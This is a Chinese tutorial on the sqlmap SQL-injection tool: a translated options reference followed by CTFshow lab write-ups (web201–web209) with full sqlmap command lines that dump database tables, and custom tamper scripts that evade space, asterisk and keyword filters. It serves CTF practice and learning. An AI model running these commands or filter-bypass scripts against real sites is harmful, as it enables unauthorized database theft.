sqlmap使用

当脚本小子的第一步

安装

工具这类的东西肯定是越新越好,所以建议是git安装

1
2
3
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --help

其实这个工具的CTF里面基本都用不了,不过实际渗透中相当实用,特别是UDF提权,都要使用到其中的so文件

使用选项

从大菜鸡师傅那里抄过来命令

1
用法: python sqlmap.py [选项]

基础选项:

选项说明
-h, --help显示基础的帮助信息,然后退出
-hh显示高级的帮助信息,然后退出
--version显示脚本的版本,然后退出
-v VERBOSE显示测试细节 默认数字1-6

目标:

至少选择下列一种模式

选项说明
-d转发模式 给定连接字符串,连接目标数据库
-u, --url=直连模式,直接连接目标地址,例如:http://www.site.com/vuln.php?id=1
-l日志模式 从Burp或者WebScarab载入代理日志文件
-m批量模式 从给定的文本文件扫描多个目标地址
-r请求模式 从文件中载入http请求
-g谷歌傻瓜模式 从谷歌搜索地址做为目标地址
-c配置模式 从ini配置文件载入目标地址

请求:

下面的选项是用来详细说明如何连接目标地址

选项说明
--method=方法强制使用指定的方式进行连接,例如 PUT
--data=数据通过POST发送数据字符串,例如: --data="id=1"
--param-del=参数分割参数分割字符,例如:&
--cookie=COOKIEHTTP Cookie 头的值 例如: PHPSESSID=a8d127e..
--cookie-del=COO..cookie分割字符,例如:;
--load-cookies=L..从文件载入cookie值
--drop-set-cookie忽略响应数据中的 Set-Cookie,即使用响应cookie
--user-agent=AGENT设置HTTP User-Agent 的值
--random-agent使用随机 User-Agent 的值
--host=HOST设置 HTTP Host 的值
--referer=REFERER设置 HTTP Referer 的值
-H HEADER, --hea..设置拓展头 例如:X-Forwarded-For: 127.0.0.1
--headers=HEADERS设置多个HTTP头 例如:Accept-Language: fr\nETag: 123
--auth-type=AUTH..设置HTTP认证类型 (Basic, Digest, NTLM 或 PKI)
--auth-cred=AUTH..设置HTTP认证账密 例如:name:password
--auth-file=AUTH..设置PEM私钥证书文件
--ignore-code=IG..忽略HTTP错误码 例如:401
--ignore-proxy忽略系统的代理设置
--ignore-redirects忽略重定向尝试
--ignore-timeouts忽略连接超时
--proxy=PROXY使用代理连接目标地址
--proxy-cred=PRO..使用代理进行HTTP认证 例如:name:password
--proxy-file=PRO..从文件中载入代理列表
--tor使用洋葱匿名网络
--tor-port=TORPORT设置洋葱匿名代理的非默认端口
--tor-type=TORTYPE设置洋葱匿名代理的类型 例如:HTTP, SOCKS4 或 SOCKS5 (默认))
--check-tor检查洋葱匿名代理网络是否可用
--delay=DELAY设置两次请求之间的延时,单位:秒
--timeout=TIMEOUT设置连接目标地址超时时间 (默认30秒)
--retries=RETRIES设置连接超时重试次数 (默认3次)
--randomize=RPARAM对给定的请求参数值进行随机化
--safe-url=SAFEURL设置在测试目标地址前访问的安全链接
--safe-post=SAFE..设置安全链接POST发送的数据
--safe-req=SAFER..从文件中载入安全链接列表
--safe-freq=SAFE..设置两次注入测试前访问安全链接的次数
--skip-urlencode跳过对攻击载荷的URL编码
--csrf-token=CSR..保存反CSRF令牌
--csrf-url=CSRFURL提取CSRF令牌的地址
--force-ssl强制使用 SSL/HTTPS
--hpp使用HTTP参数污染
--eval=EVALCODE请求前使用自定义python脚本 例如:
import hashlib;
id2=hashlib.md5(id).hexdigest()

优化选项:

下面的选项是用来优化sqlmap的性能

选项说明
-o打开所有优化选项开关
--predict-output预测常见查询输出
--keep-alive使用 HTTP(s) 持久化连接
--null-connection只检测响应数据长度,不检测响应内容
--threads=THREADS设置最大运行线程 (默认1线程)

注入选项:

下面的选项用来指定注入测试的定制参数和篡改脚本

选项说明
-p TESTPARAMETER设置要注入的参数
--skip=SKIP设置要跳过注入的参数
--skip-static设置跳过静态参数
--param-exclude=..对要注入参数进行正则匹配 例如:ses
--dbms=DBMS指定注入地址的后台数据库名称
--dbms-cred=DBMS..指定数据库认证账密 例如:user:password
--os=OS指定注入地址的操作系统
--invalid-bignum对注入参数使用超大数字使其失效
--invalid-logical对注入参数使用逻辑运算使其失效
--invalid-string对注入参数使用随机字符串使其失效
--no-cast关闭攻击载荷的生成器
--no-escape关闭字符逃逸的生成器
--prefix=PREFIX攻击载荷的前缀
--suffix=SUFFIX攻击载荷的后缀
--tamper=TAMPER指定攻击载荷的篡改脚本

检测选项:

下面的选项用来定制检测

选项说明
--level=LEVEL指定注入测试级别 例如:1-5, 默认 1
--risk=RISK指定注入测试风险等级,防止破坏数据 例如:1-3, 默认 1
--string=STRING指定攻击载荷执行成功返回的字符串
--not-string=NOT..指定攻击载荷执行失败返回的字符串
--regexp=REGEXP指定攻击载荷执行成功匹配的正则表达式
--code=CODE指定攻击载荷执行成功返回的HTTP状态码
--text-only设置只检测返回文本来确定攻击载荷执行情况
--titles设置检测返回页面标题确定攻击载荷执行情况

技术选项:

下面选项用来指定参数来调整指定的注入测试选项

选项说明
--technique=TECH开启定制 (default “BEUSTQ”)
--time-sec=TIMESEC指定目标数据库响应时间 (默认5秒)
--union-cols=UCOLS指定联合查询注入的列范围
--union-char=UCHAR指定联合查询猜测列数量最大长度
--union-from=UFROM指定联合查询使用的表
--dns-domain=DNS..指定DNS外带的解析地址
--second-url=SEC..指定二次注入的结果页面
--second-req=SEC..指定二次注入的结果页面列表文件

指纹选项:

选项说明
-f, --fingerprint使用常见数据库指纹识别

枚举选项:

下面的选项用来枚举后端数据库管理系统的信息、结构以及表内的包含数据。此外,你可以运行自己的SQL语句

选项说明
-a, --all检索所有内容
-b, --banner检索数据库欢迎信息
--current-user检索数据库的当前用户
--current-db检索当前使用的数据库名称
--hostname检索数据库计算机名称
--is-dba检测当前用户是否为数据库管理员
--users枚举数据库的所有用户
--passwords枚举数据库的所有用户密码哈希值
--privileges枚举数据库的所有用户权限
--roles枚举数据库的所有用户角色
--dbs枚举数据库的所有数据库
--tables枚举数据库的所有表
--columns枚举数据库的所有列
--schema枚举数据库汇总数据
--count检索数据库的记录总数
--dump转储数据库表的记录
--dump-all转储数据库的所有表记录,俗称脱裤
--search搜索指定列、表、数据库
--comments枚举时检测数据库的注释
-D DB指定要枚举的数据库名称
-T TBL指定要枚举的表名称
-C COL指定要枚举的列名称
-X EXCLUDE指定排除枚举的数据库名称
-U USER指定枚举时的数据库用户
--exclude-sysdbs设置枚举时包含数据库系统自带表
--pivot-column=P..指定主键名称
--where=DUMPWHERE转储数据表时,使用where条件语句
--start=LIMITSTART转储表时,使用limit语句进行显示,设置limit的第一个参数
--stop=LIMITSTOP转储表时,使用limit语句进行显示,设置limit的第二个参数
--first=FIRSTCHAR查询时使用的第一个字符
--last=LASTCHAR查询时使用的最后一个字符
--sql-query=QUERY执行sql语句
--sql-shell使用可交互sql-shell
--sql-file=SQLFILE指定执行sql语句的文件

暴力破解选项:

下面的选项用来设置暴力破解参数

选项说明
--common-tables使用本地表名字典
--common-columns使用本地列明字典

自定义函数选项:

下面的选项用来生成和运行自定义函数

选项说明
--udf-inject注入自定义函数
--shared-lib=SHLIB指定本地函数共享库

文件系统访问选项:

下面的选项用来设置目标系统的文件系统访问参数

选项说明
--file-read=FILE..从目标系统的文件系统读入文件
--file-write=FIL..向目标系统的文件系统写入文件
--file-dest=FILE..要写入文件的绝对路径

操作系统访问选项:

下面的选项用来设置对目标操作系统的访问参数

选项说明
--os-cmd=OSCMD执行操作系统命令
--os-shell反弹操作系统的shell
--os-pwn反弹OOBshell, Meterpreter 或 VNC
--os-smbrelay一键反弹 OOB shell, Meterpreter or VNC
--os-bof保存缓冲器溢出攻击载荷
--priv-esc数据库账户提权
--msf-path=MSFPATHMetasploit Framework本地安装路径
--tmp-path=TMPPATH远程临时文件存放的绝对路径

Windows注册表访问选项:

下面的选项用来设置Windows系统的注册表访问参数

选项说明
--reg-read读取注册表的指定键值
--reg-add向注册表写入指定键值
--reg-del删除之策表指定键值
--reg-key=REGKEY设置注册表的键名
--reg-value=REGVAL设置注册表的键值
--reg-data=REGDATA设置注册表的键数据
--reg-type=REGTYPE设置注册表的键类型

公共选项:

下面的选项用来设置公共参数

选项说明
-s SESSIONFILE载入测试会话文件
-t TRAFFICFILE记录所有的HTTP测试结果至文本文件
--answers=ANSWERS设置默认回应 例如 quit=N,follow=N
--base64=BASE64P..设置参数包含base64数据
--batch静默执行,使用默认选项进行
--binary-fields=..返回结果包含二进制数据
--check-internet进行注入测试前,检查网络联通情况
--crawl=CRAWLDEPTH对指定地址爬虫测试
--crawl-exclude=..对匹配正则表达式的页面地址进行爬虫测试
--csv-del=CSVDEL设置csv格式的分割符
--charset=CHARSET设置盲注测试字符集 例如:0123456789abcdef
--dump-format=DU..对转储文件进行转换 例如:CSV(默认), HTML 或SQLITE
--encoding=ENCOD..设置检索时的字符集 例如:GBK
--eta显示输出耗时
--flush-session刷新当前目标地址的会话
--forms对目标地址提交表单测试
--fresh-queries忽略已缓存的查询结果
--har=HARFILE保存所有HTTP响应至HAR文件
--hex检索返回数据时使用16进制
--output-dir=OUT..自定义输出文件路径
--parse-errors显示页面上的数据库错误
--preprocess=PRE..使用指定脚本提交请求
--postprocess=PO..使用指定脚本处理请求响应
--repair转储未知字符时,使用的替换字符
--save=SAVECONFIG将当前的配置保存至配置文件
--scope=SCOPE使用正则表达式匹配代理地址列表
--test-filter=TE..选择标题且(或)为指定字符串的攻击载荷
--test-skip=TEST..忽略标题且(或)为指定字符串的攻击载荷
--update更新 sqlmap

其他选项:

选项说明
-z MNEMONICS使用助记符 例如:flu,bat,ban,tec=EU
--alert=ALERT注测测试成功执行的本地系统命令
--beep注入点测试成功主板蜂鸣
--cleanup使用自定义函数情况数据库
--dependencies检查sqlmap的组件完整性
--disable-coloring关闭彩色输出
--gpage=GOOGLEPAGE谷歌傻瓜式注入扫描的页数
--identify-wafMake a thorough testing for a WAF/IPS protection
--list-tampers显示篡改脚本列表
--mobile使用手机UA
--offline离线模式
--purge安全卸载所有sqlmap内容
--skip-waf放弃测试具有启发式WAF保护的地址
--smart检测是否时启发式WAF保护
--sqlmap-shell反弹sqlmap的shell
--tmp-dir=TMPDIR设置sqlmap本地临时文件路径
--web-root=WEBROOT设置http服务的网页根目录 例如:/var/www
--wizard使用sqlmao时开启简单向导

CTFshow-大菜鸡 于 2020-11-14 夜完成

常用的命令将会在例题中出现,其中最常用的应该是利用数据包来完成注入

1
2
3
4
5
6
7
8
9
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

username=admin&password=test

username参数进行注入,运行命令python sqlmap.py -r request.txt -p username

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
GET /api/?id=1111&page=1&limit=10 HTTP/1.1
Host: 6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show
Cookie: cf_clearance=FfFkJ_rCEzOW7OasGYKDaQdTABU_BVynV76XtJXtEMk-1737092124-1.2.1.1-08wtjOyMUOY8ThDT33UiGmkBadSYm33GtZ8UEqnhMYn45iIQYIfmtkdn0rCEq2cLjGXf0XdRXNrM4molLyQ8vDQnKyYt1ixrhYI8wUqSsnE_reHQM3L6B3Gr67nSRP1zSwCAeJEqXOf02wzTlhdAoBkjyG4DbDdMuMDw6HuBeMCHow7p3zZfJTguhcrd.YRyR8ZagXt2h1DBgZSdnioehaLAzj2nA8s1weMd_HWveEI4ls1PWJz.ADM_9UTNjpCJL6Rlu3t3JqrqEctObC1eUoGYZYf3LWHGDpgLNPYoVjs
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/sqlmap.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

id进行参数注入,python sqlmap.py -r request.txt -p id,还有就是代理到bp,看Ta发的包,参数为--proxy="http://127.0.0.1:8080"

1

例题

web201

说了要指定UA头和referer

1
python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show

1

确认注入类型,然后就梭哈就完事了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show --dbs

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C id,username,pass --dump

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump

web202

虽然参数是GET参数,但是就是要使用data来传参

1
2
3
4
5
6
7
python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show

python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -dbs

python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

1
2
3
4
5
6
7
python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --batch

python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --dbs --batch

python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

路由不能写错,/api/不接受PUT传参,始终有405错误,写成/api/index.php就可以了

web204

把Cookie带上就可以了

1
2
3
4
5
6
7
python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" --batch

python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" --dbs --batch

python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" -D ctfshow_web --tables --batch

python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" -D ctfshow_web -T ctfshow_user --dump --batch

web205

每次查询之前会先去/api/getToken.php,拿到Cookie再去查询PHPSESSID=9kfu8beesnj6mk7j0554lh8fgp

1
2
3
python3 sqlmap.py -u "http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9kfu8beesnj6mk7j0554lh8fgp" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9kfu8beesnj6mk7j0554lh8fgp" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump --batch

web206

需要闭合,但是我写了一个没有闭合的payload也能打出来,只不过是Sqlmap给我时间盲注出来的

1
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

1

但是如果把闭合写了

1
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --prefix="')" --suffix="#" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

他就不会盲注而是直接打出来,不过前提是要知道payload的样子

1

1
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --prefix="')" --suffix="#" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --columns --where="id=1" --dump --threads=5 --no-cast --time-sec=1 --charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-{}.ctfshow"

优化一下参数,即使这样子可能注入出来的东西不完整,但是够快

1

但是这样的命令跑不出来,线程加太大了,所以我又重新写了一下命令,用二分法和限制字符集,直接乱杀好吧

1
2
3
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://35cc5129-ecff-4e45-a19d-f3058ea3909f.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://35cc5129-ecff-4e45-a19d-f3058ea3909f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump --threads=5 --charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-{}." --time-sec=1 --binary-fields=flagv --no-cast

web207

过滤了空格直接利用space2comment绕过

1
2
3
python3 sqlmap.py -u "http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment" -D ctfshow_web --tables

python3 sqlmap.py -u "http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment" -D ctfshow_web -T ctfshow_flaxca --dump

web208

虽然还是写着只过滤了空格,但是这里还是必须要用随便大小写关键字才能绕过randomcase

1
2
3
python3 sqlmap.py -u "http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment,randomcase" -D ctfshow_web --tables

python3 sqlmap.py -u "http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment,randomcase" -D ctfshow_web -T ctfshow_flaxcac --dump

也可以用space2formfeed.py(自己写)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0c)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0c)
                continue

            retVal += payload[i]

    return retVal
1
2
3
python3 sqlmap.py -u "http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,randomcase" -D ctfshow_web --tables

python3 sqlmap.py -u "http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,randomcase" -D ctfshow_web -T ctfshow_flaxcac --dump

顺表再写个双写绕过的tamper吧doublewords.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload

    keywords_to_double = {
        "SELECT"
    }

    if payload:
        for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
            word = match.group()

            if word.upper() in keywords_to_double and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None:
                mid_pos = len(word) // 2
                embedded_word = word[:mid_pos].lower() + word.lower() + word[mid_pos:].lower()
                retVal = retVal.replace(word, embedded_word)

    return retVal

环境中过滤了什么,就把这个关键字加到字典里面,就可以了

1
2
3
python3 sqlmap.py -u "http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,doublewords" -D ctfshow_web --tables

python3 sqlmap.py -u "http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,doublewords" -D ctfshow_web -T ctfshow_flaxcac --dump --batch

web209

1
2
3
4
function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

过滤了*space2comment就用不了了,其实我们需要绕过的就是空格,这里利用%09绕过,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x09)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x09)
                continue

            retVal += payload[i]

    return retVal

命名为space2tab.py,再写个把*替换为换行的tamper,命名为asterisk2newline.py,说实话想不到更好的处理方式了,有更好的处理方式的师傅,欢迎评论区讨论,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote = False, False

        for i in xrange(len(payload)):
            if payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == '*' and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

细节点就是需要使用chr(0xxx)的样式来替换字符,不能直接随便写

1
2
3
python3 sqlmap.py -u "http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=igqfvdb6q8776gjl2kj45d5dre" --user-agent=sqlmap --referer=ctf.show --tamper="space2tab,asterisk2newline,equaltolike,randomcase" -D ctfshow_web --tables

